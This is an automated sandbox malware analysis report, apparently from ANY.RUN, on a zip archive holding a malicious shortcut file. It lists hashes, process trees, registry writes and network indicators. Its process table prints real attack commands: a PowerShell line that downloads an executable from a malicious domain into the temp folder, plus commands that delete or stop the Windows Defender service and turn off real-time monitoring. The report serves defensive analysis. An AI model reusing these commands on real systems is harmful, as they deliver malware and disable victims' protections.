| download: | uc |
| Full analysis: | https://app.any.run/tasks/012727c5-55ce-4048-8b35-3c9e78ff09fe |
| Verdict: | Malicious activity |
| Analysis date: | May 20, 2019, 19:12:33 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v2.0 to extract |
| MD5: | 87B04550EBCB3DCB76F7D77B5059F48C |
| SHA1: | B9F661094C481F893084E5C8FEE56C4A954DEE4B |
| SHA256: | 4FA24348BDC4B1CFFC7FFBC210BF804E7406BD8FC27CBA0A551BDD31ABD9A660 |
| SSDEEP: | 3072:sXANmZO3D55ZYnKtWf6Rv0S5AbGZYJDlejEjoBFQz+z:sLOHZT5R0S4JJjKNz |
MALICIOUS
Executes PowerShell scripts
- cmd.exe (PID: 3512)
- cmd.exe (PID: 3228)
- cmd.exe (PID: 2840)
Application was dropped or rewritten from another process
- D.exe (PID: 2656)
- D.exe (PID: 2108)
Stops/Deletes Windows Defender service via SC.exe
- cmd.exe (PID: 3184)
- cmd.exe (PID: 3392)
- cmd.exe (PID: 3360)
- cmd.exe (PID: 2312)
- cmd.exe (PID: 2964)
- cmd.exe (PID: 2568)
- cmd.exe (PID: 1916)
- cmd.exe (PID: 596)
Disables Windows Defender Real-time monitoring
- D.exe (PID: 2108)
Known privilege escalation attack
- DllHost.exe (PID: 3276)
SUSPICIOUS
Starts CMD.EXE for commands execution
- WinRAR.exe (PID: 3372)
- D.exe (PID: 2656)
- D.exe (PID: 2108)
Creates files in the user directory
- powershell.exe (PID: 1688)
- powershell.exe (PID: 2500)
- powershell.exe (PID: 2960)
- powershell.exe (PID: 2984)
- powershell.exe (PID: 3664)
Executable content was dropped or overwritten
- powershell.exe (PID: 1688)
Executed via COM
- DllHost.exe (PID: 3276)
Executes PowerShell scripts
- cmd.exe (PID: 4028)
- cmd.exe (PID: 3528)
INFO
Reads settings of System Certificates
- powershell.exe (PID: 1688)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | 0x0808 |
| ZipCompression: | Deflated |
| ZipModifyDate: | 2019:05:20 16:31:06 |
| ZipCRC: | 0x60aabff3 |
| ZipCompressedSize: | 135354 |
| ZipUncompressedSize: | 149088 |
| ZipFileName: | GFHN-93974256.lnk |
Total processes
77
Monitored processes
31
Malicious processes
7
Suspicious processes
8
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 596 | "C:\Windows\System32\cmd.exe" /c sc delete WinDefend | C:\Windows\System32\cmd.exe | — | D.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1688 | powershEll "$sd=new-object system.nEt.weBcliEnt;$sd.doWnloAdfIle($env:o+'/www.braintrainersuk.com/ONOLTDA-GD.exe',$env:tmp+'\D.exe');" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1808 | sc delete WinDefend | C:\Windows\system32\sc.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: A tool to aid in developing services for WindowsNT Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1868 | "C:\Program Files\wiNDows nt\accESsorIes\wORdpaD" c:\pagefIle.syS | C:\Program Files\wiNDows nt\accESsorIes\wordpad.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Wordpad Application Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1916 | /c sc delete WinDefend | C:\Windows\system32\cmd.exe | — | D.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 1060 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2108 | "C:\Users\admin\AppData\Local\Temp\D.exe" | C:\Users\admin\AppData\Local\Temp\D.exe | — | DllHost.exe | |||||||||||
User: admin Company: NVIDIA Corporation Integrity Level: HIGH Description: NVIDIA PTX JIT Compiler, Version 430.39 Exit code: 0 Version: 26.21.14.3039 Modules
| |||||||||||||||
| 2312 | /c sc delete WinDefend | C:\Windows\system32\cmd.exe | — | D.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 5 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2456 | sc delete WinDefend | C:\Windows\system32\sc.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: A tool to aid in developing services for WindowsNT Exit code: 5 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2500 | powershell Set-MpPreference -DisableRealtimeMonitoring $true | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2568 | /c sc stop WinDefend | C:\Windows\system32\cmd.exe | — | D.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 1060 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
1 975
Read events
1 632
Write events
342
Delete events
1
Modification events
| (PID) Process: | (3372) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (3372) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (3372) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (3372) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\uc.zip | |||
| (PID) Process: | (3372) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (3372) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (3372) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (3372) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (3372) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (3372) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
Executable files
1
Suspicious files
12
Text files
0
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1688 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\POJE1W1OIJKL0QNE1BAO.temp | — | |
MD5:— | SHA256:— | |||
| 2500 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RA4IFGQSJZGEPQTK9WL6.temp | — | |
MD5:— | SHA256:— | |||
| 2984 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UTE40YMHA5MSHDF231SD.temp | — | |
MD5:— | SHA256:— | |||
| 3664 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WF2OKB0RP3JRDE4XXDTK.temp | — | |
MD5:— | SHA256:— | |||
| 2960 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DG9X7OJ11C06XA840SUJ.temp | — | |
MD5:— | SHA256:— | |||
| 2500 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 1688 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF124a8e.TMP | binary | |
MD5:— | SHA256:— | |||
| 2656 | D.exe | C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\0f5007522459c86e95ffcc62f32308f1_90059c37-1320-41a4-b58d-2b75a9850d2f | binary | |
MD5:— | SHA256:— | |||
| 3372 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa3372.10083\GFHN-93974256.lnk | lnk | |
MD5:— | SHA256:— | |||
| 3664 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF12aba9.TMP | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1688 | powershell.exe | 68.66.248.28:443 | www.braintrainersuk.com | A2 Hosting, Inc. | US | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.braintrainersuk.com |
| malicious |